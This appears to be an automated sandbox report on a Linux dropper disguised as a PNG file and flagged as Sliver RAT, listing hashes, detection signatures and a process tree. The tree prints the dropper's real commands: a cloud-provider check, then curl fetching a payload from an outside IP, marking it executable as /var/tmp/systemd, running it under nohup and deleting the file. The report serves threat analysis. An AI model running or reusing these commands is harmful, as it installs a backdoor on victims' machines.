Overview

overview

10

Static

static

1

top-bs.png

ubuntu-18.04-amd64

10

top-bs.png

debian-9-armhf

7

top-bs.png

debian-9-mips

top-bs.png

debian-9-mipsel

Analysis

  • user interaction
    yes
  • max time kernel
    146s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/07/2026, 23:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    top-bs.png
  • Size 1KB
  • Sample260727-23dlystyew
  • SHA256 4d66f28b70bb27f25aa21cb7f41fc2173a57de6dbe03b4528a06110cc9910982
  • MD5 SHA1 SHA512 TLSH
Score
10/10
backdoordefense_evasiondiscoveryslivertrojanupx

Malware Config

Signatures

  • Family: SliverRAT

    SliverRAT is an open source Adversary Emulation Framework.

    trojanbackdoorsliver
  • Detects Sliver payload 1 IoCs
  • Sliver RAT v2 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/top-bs.png
    /tmp/top-bs.png
    1⤵
      PID:1489
      • /bin/grep
        grep -q noexec
        2⤵
          PID:1492
        • /bin/grep
          grep -E "\\s/var/tmp\\s"
          2⤵
            PID:1491
          • /bin/mount
            mount
            2⤵
            • Reads runtime system information
            PID:1490
          • /usr/bin/wget
            wget -U "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/81.0" -T 5 -t 1 -qO- http://ip-api.com/json
            2⤵
              PID:1496
            • /bin/sed
              sed -n "s/.*\"isp\":\"\\([^\"]*\\)\",\"org\":\"\\([^\"]*\\)\".*/\\1 \\2/p"
              2⤵
              • Reads runtime system information
              PID:1504
            • /bin/grep
              grep -Ei "Amazon|AWS EC|Microsoft Azure|Google Cloud|Oracle Corporation|Oracle Cloud|IBM Cloud|Alibaba|ALICLOUD|Tencent|Huawei|DigitalOcean|Akamai|Hetzner|OVH Hosting|Linode"
              2⤵
                PID:1506
              • /usr/bin/curl
                curl -m 600 -fsSL -k http://212.83.185.19/headerss.png -o /var/tmp/systemd
                2⤵
                  PID:1507
                • /bin/chmod
                  chmod u+x /var/tmp/systemd
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1509
                • /bin/sleep
                  sleep 2
                  2⤵
                    PID:1512
                  • /bin/rm
                    rm -f /var/tmp/systemd
                    2⤵
                      PID:1516
                  • /usr/bin/nohup
                    nohup /var/tmp/systemd
                    1⤵
                    • Executes dropped EXE
                    PID:1511
                  • /var/tmp/systemd
                    /var/tmp/systemd
                    1⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:1511

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        systemd
                        • Path /var/tmp/systemd
                        • Size 9.1MB
                        • SHA256 09e8bdc9d3e0d5526ef911caa681298cc6cbc638ece9914a7ee8661e020263a6
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download